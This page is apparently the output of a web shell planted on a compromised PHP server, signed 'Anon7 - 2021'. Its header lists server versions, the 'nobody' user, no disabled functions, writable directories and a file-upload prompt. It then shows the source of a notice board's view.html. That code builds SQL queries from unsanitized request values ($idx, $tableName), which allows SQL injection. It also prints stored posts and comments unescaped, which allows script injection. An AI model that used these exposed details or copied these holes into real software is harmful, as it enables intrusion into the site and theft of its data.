KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/board/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/board/view.html
					<div class="sub_title">
					<h3><img src="/images/sub/sub_title_01.jpg" width="133" height="29" /></h3>
					<ul>
					<li>Home</li>
					<li>&gt;</li>
					<li>Notice</li>
					</ul>
					</div>
					<?
					if($idx){
						$hit_query = "update board_$tableName set hit = hit+1 where no='$idx'";
						//$results = mysql_query($hit_query,$db_con);

						$qry = "SELECT * FROM board_$tableName where no='$idx'";
						$result= mysql_query($qry,$db_con);
						$row = mysql_fetch_array($result);

						$regDate = substr($row[reg_date],0,10);
						$imgName = get_db("select file_name from files where module_no = '$idx' and module_name='$tableName' order by no");
					}
					?>
                    <table border="0" cellspacing="0" cellpadding="0" class="table_ro_view" width="100%">
                        <!--colgroup>
                        <col style="width:100px; *width:88px"><col>
                        </colgroup-->
						<tr>
                            <!--th scope="row">제목</th-->
                            <th height="20px" style="padding:7px 10px 7px 0; background:#f5f5f5">
                            	<table border="0" cellpadding="0" cellspacing="0">
                                	<tr>
                                    	<th width="50px" style="border:0; padding:0">&nbsp;&nbsp;&nbsp;題目&nbsp;&nbsp;:&nbsp;</th>
                                      <td style="border:0; padding:0;text-align:left;"><?=$row[subject]?></td>
                                    </tr>
                                </table>
							</th>
							<td width="100" style="padding:0 10px 0 0; vertical-align:middle; background:#f5f5f5" align="right"><?=$regDate?></td>
                        </tr>
						<?
							if($row[files_count] != 0){
								$res = "select file_name,original_name,file_type from files where module_no = '$idx' and module_name='$tableName' order by no";
								$results= mysql_query($res,$db_con);
								$rows = mysql_fetch_array($results);
						?>
						<tr>
              <td id="table_ro_view_td_nopadd" colspan=2 >
							<?
							
							if($rows[file_type] == 'JPG' ||$rows[file_type] == 'jpg' || $rows[file_type] == 'gif' || $rows[file_type] == 'png' || $rows[file_type] == 'bmp'){
								$img_size = GetImageSize("../files/board/".$rows[file_name]);
								$x = $img_size[0];
								$y = $img_size[1];

								if($x < 450){
									$widthX = $x;
								}else{
									$widthX = "65%";
								}
							?>
								<br><br><img src='/files/board/<?=$rows[file_name]?>' width='<?=$widthX?>' onclick="imgPopup( '/files/board/<?=$rows[file_name]?>','<?=$x?>','<?=$y?>');" style='cursor:hand;'>
							<?
							}else if($rows[file_type] == 'wmv' || $rows[file_type] == 'asf' || $rows[file_type] == 'mov'){
								echo "<br><br><embed SRC='/files/board/".$rows[file_name]."' width='320' height='285' id=player  AUTOSTART=true volume='50%' >";
							}else{
							echo "<strong>添附&nbsp;&nbsp;&nbsp;:</strong>&nbsp;&nbsp;&nbsp;<a href='down.php?filename=$rows[file_name]&orgname=$rows[original_name]' target='hiddenFrame'>$rows[original_name]</a>&nbsp;";
							}
							?>
							<p style="text-align:left;"><?=stripslashes($row[contents])?></p>
							</td>
                        </tr>
						<?
							}else{
						?>
						<tr>
             <td width="100%" height="150px" colspan=2 class="content_view" style="text-align:left; padding: 20px 15px;"><?=stripslashes($row[contents])?></td>
                        </tr>
						<?}?>
					</table>
					
                    <table cellpadding="0" cellspacing="0" border="0" width="100%" style="margin:10px 0 0 0" >
                        <tr>
                            <td align="right">
								<?if(($sessionLevel == 15 && ($tabs=1 || $tabs=2 || $tabs=3)) ||  ($sessionID == $row[user_id] && ($tabs == 2||$tabs == 7||$tabs == 8)) || ($sessionID == $row[user_id] && $sessionLevel == 3 && $tabs == 2) || $sessionID == $row[user_id]){?>
								<a onclick="javascript:formChange('<?=$row[no]?>','del')" style="CURSOR: hand" id="btn">■ 削除 ■ &nbsp;&nbsp;&nbsp;</a>
								<a onclick="javascript:formChange('<?=$row[no]?>','write')" style="CURSOR: hand" id="btn">■ 修正 ■ &nbsp;&nbsp;&nbsp;</a>
								<?}?>
                                <a onclick="javascript:formChange('','list')" style="CURSOR: hand" id="btn">■ リスト ■</a>
                            </td>
                        </tr>
                    </table>
					<?if(($tab == 5 && $tabs == 2) || ($tab == 9) || ($sessionLevel == 15 && $tab == 12 && $tabs == 13)){ ?>
					<table width="100%" cellpadding="0" cellspacing="0" border="0" style="margin:30px 0 0 0;border:1px solid #ccc" >
	<tr align="center">
		<td width="60" height="70" align="right"><img src="/images/comment_img.gif" alt="コメント" /></td>
		<td >
			<textarea name="comment" cols=45 rows=3 style="width:475px; height:50px"/><?if(!$sessionIDX){echo"ログインが必要です.";}?></textarea>
		</td>
		<td width="60" align="left" valign="middle">
			<?if($sessionIDX){?>
			<img src="/images/comment_btn.gif" onclick="commentok('<?=$idx?>','<?=$tableName?>');showCustomer('<?=$idx?>','<?=$tableName?>')" style="cursor:hand" alt="書き込み"/>
			<?}else{?>
			<img src="/images/comment_btn.gif" onclick="alert('ログインが必要です.');window.location.href('/member/?tab=12&tabs=1');" style="cursor:hand" alt="書き込み"/>
			<?}?>
		</td>
	</tr>
	<tr>
		<td colspan=3 style="padding:10px">
		<div id="txtHint">
		<?
		$result = Get_dbres("SELECT * FROM board_comment WHERE module_name='".$tableName."' and module_no='".$idx."' order by order_by desc");
		$total = mysql_affected_rows();
		//echo("SELECT * FROM board_comment WHERE module_name='".$tableName."' and module_no='".$idx."' order by order_by desc");

		echo "<table cellpadding='0' cellspacing='0' border='0' width='100%' style='margin:10px 0 0 0'>";
		for($i=0; $i<$total; $i++) {
		$rows = mysql_fetch_array($result);
		$coDate = substr($rows[reg_date],0,10);
		echo "<tr><td style='border-top:1px dotted #444;width:100px; padding:5px;'>".$rows[user_name]."<br><span style='font-size:8px'>".$coDate."</span>&nbsp;&nbsp;&nbsp;&nbsp;";
		
		if($sessionIDX == $rows[user_no]){echo"<a onclick=\"commentdel(".$rows[idx].");showCustomer('".$idx."','".$tableName."')\" style='cursor:hand'><img src='/images/comment_x.gif' alt='デリ―ト' />";
		}
		echo "</td><td style='border-top:1px dotted #444;'>".stripslashes($rows[content])."</a></td></tr>";
		}
		echo"</table>";
		?>
		</div></td>
	</tr>
</table>
					<?}?>
					

Anon7 - 2021